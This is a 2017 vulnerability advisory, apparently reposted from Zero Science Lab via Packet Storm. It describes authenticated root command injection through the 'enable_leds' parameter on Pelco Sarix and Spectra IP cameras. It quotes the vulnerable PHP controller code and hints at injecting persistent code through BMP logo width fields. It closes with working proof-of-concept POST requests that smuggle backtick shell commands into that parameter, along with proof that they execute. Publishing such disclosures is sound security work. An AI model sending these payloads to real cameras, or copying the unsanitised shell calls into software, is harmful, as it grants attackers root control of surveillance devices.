Schneider Electric Pelco Sarix/Spectra Cameras Root Remote Code Execution

2017-07-11T00:00:00
ID PACKETSTORM:143315
Type packetstorm
Reporter LiquidWorm
Modified 2017-07-11T00:00:00

Description

                                        
                                            `  
Schneider Electric Pelco Sarix/Spectra Cameras Root Remote Code Execution  
  
  
Vendor: Schneider Electric SE  
Product web page: https://www.pelco.com  
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)  
Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)  
Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)  
Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)  
Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)  
  
Summary: Pelco offers the broadest selection of IP cameras designed  
for security surveillance in a wide variety of commercial and industrial  
settings. From our industry-leading fixed and high-speed IP cameras to  
panoramic, thermal imaging, explosionproof and more, we offer a camera  
for any environment, any lighting condition and any application.  
When nothing but the best will do. SarixaC/ Enhanced Range cameras  
provide the most robust feature-set for your mission-critical applications.  
With SureVisionaC/ 3.0, Sarix Enhanced delivers the best possible image  
in difficult lighting conditions such as a combination of bright areas,  
shaded areas, and intense light. Designed with superior reliability,  
fault tolerance, and processing speed, these rugged fixed IP cameras  
ensure you always get the video that you need.  
  
Desc: The affected cameras suffer from authenticated remote code  
execution vulnerability. The POST parameter 'enable_leds' located  
in the update() function called via the GeneralSetupController.php  
script is not properly sanitised before being used in writeLedConfig()  
function to enable led state to on or off. A remote attacker can  
exploit this issue and execute arbitrary system commands granting  
her system access with root privileges using a specially crafted  
request and escape sequence to system shell.  
  
  
---------------------------------------------------------------------------  
/var/www/core/setup/controllers/GeneralSetupController.php:  
-----------------------------------------------------------  
  
43: public function update() {  
44: $errOccurred = false;  
45: $logoreboot = false;  
46:   
47: // If can update general settings  
48: if ($this->_context->_user->hasPermission("{51510980-768b-4b26-a44a-2ae49f308184}")) {  
49:  
50: $errors = $this->validateInputs("setup", "general.invalid");  
51:  
52: //  
53: $new_logo_path;  
54: if (empty($errors) && (strlen($_FILES["new_logo_path"]["name"]) > 0)) {  
55: // The user has provided a file to load in as an image. Verify that the file is ok.  
56: $errors = $this->storeBmpFileIfValid($new_logo_path, $width, $height);  
57: } else {  
58: // In this case, get the width and height from the omons settings  
59: $width = intval($this->_conf->get("Video/Overlay", "LogoWidth"));  
60: $height = intval($this->_conf->get("Video/Overlay", "LogoHeight"));  
61: }  
62: //  
63: if (empty($errors)) {  
64: $device_name = $_POST["device_name"];  
65:  
66: $this->_conf->set("Device", "FriendlyName", $device_name);  
67:  
68: // update smtp server; append port 25 if it's not provided by the user  
69: $smtpServer = $_POST["smtp_server"];  
70:  
71: if ((! empty($smtpServer)) && preg_match(self::kHostPortRegex, $smtpServer) == 0) {  
72: $smtpServer .= ":" . self::kDefaultSmtpPort;  
73: }  
74:  
75: $this->_conf->set("Networking", "SmtpServer", $smtpServer);  
76:  
77: //  
78: $success = $this->writeLedConfig($_POST["enable_leds"]);  
79: //  
80: } else {  
81: $this->_context->setError("phobos", "validation.failure");  
82: $this->_context->setErrorList($errors);  
83:  
84: $errOccurred = true;  
85: }  
86: }  
  
...  
...  
...  
  
Bonus hint: When uploading a bmp logo, you can modify the width offset for example and inject persistent code:  
--  
-> 12h: 00 01 00 00 ; width (max 0x100, min 0x20)  
--  
191: if ($logoOverlay) {  
192: if($logoreboot) {  
193: $cmd = "/usr/bin/overlayLogo " . $logo_justification . " " . $logo_row . " " . $width . " " . $height . " 0";  
194: exec($cmd);  
195: }  
196: } else {   
197: $cmd = "/usr/bin/overlayLogo 1 1 1 1 1";  
198: exec($cmd);  
199: }   
  
...  
...  
...  
  
265: $vparams["enable_leds"] = $this->getLedConfig();  
266: //  
267: $vparams["device_name"] = $this->_conf->get("Device", "FriendlyName");  
268: $vparams["TimeFormat"] = $this->_conf->get("Video/Overlay", "TimeFormat");   
269: $vparams["date_formats"] = $this->getDateFormats();  
270: $vparams["selectedDateFormat"] = $this->_conf->get("Video/Overlay", "DateFormat");  
271:  
272: ob_start();  
273: passthru("date +\"" . $vparams["TimeFormat"] . "\"");  
274: $vparams["current_time"] = trim(ob_get_contents());  
275: ob_end_clean();  
  
...  
...  
...  
  
630: /** @param $state string "on" or "off" */  
631: protected function writeLedConfig($state) {  
632: $encoded = array('type' => 'uint32',  
633: 'value' => ($state == 'on' ? 1 : 0));  
634:  
635: $rest = $this->getRestProxy();  
636: $params = array(array('type' => 'uint32', 'value' => 10), $encoded);  
637: $response = $rest->GetWithPayload('/internal/msgbus/com.pelco.hardware.led/SetState?',  
638: 'application/json',  
639: $params);  
640:  
641: return ($response->GetStatus() == 200);  
642: }  
  
---------------------------------------------------------------------------  
  
  
Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown  
MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)  
Lighttpd/1.4.28  
PHP/5.3.0  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2017-5417  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5417.php  
  
  
07.04.2017  
  
--  
  
  
PoC sleep 17s:  
  
POST /setup/system/general/update HTTP/1.1  
Host: 192.168.1.1  
Content-Length: x  
Cache-Control: max-age=0  
Origin: http://192.168.1.1  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36  
Content-Type: application/x-www-form-urlencoded  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Referer: http://192.168.1.1/setup/system/general  
Accept-Language: en-US,en;q=0.8,mk;q=0.6  
Cookie: PHPSESSID=p2ooorb7gloavc0et2stj2tnn4; authos-token=07E14CAF; svcts=1495616826  
Connection: close  
  
device_name=ZSL&enable_leds=%60sleep%2017%60&smtp_server=&ntp_server_from_dhcp=false&ntp_server=time.nist.gov&region=Universe&zone=Earth&enable_time_overlay=on&enable_name_overlay=off&position=topright&date_format=0  
  
===  
  
PoC echo:  
  
POST /setup/system/general/update HTTP/1.1  
Host: 192.168.1.1  
  
enable_leds=%60echo%20251%20>test.html%60  
  
--  
  
GET http://192.168.1.1/test.html HTTP/1.1  
  
Response:  
  
251  
`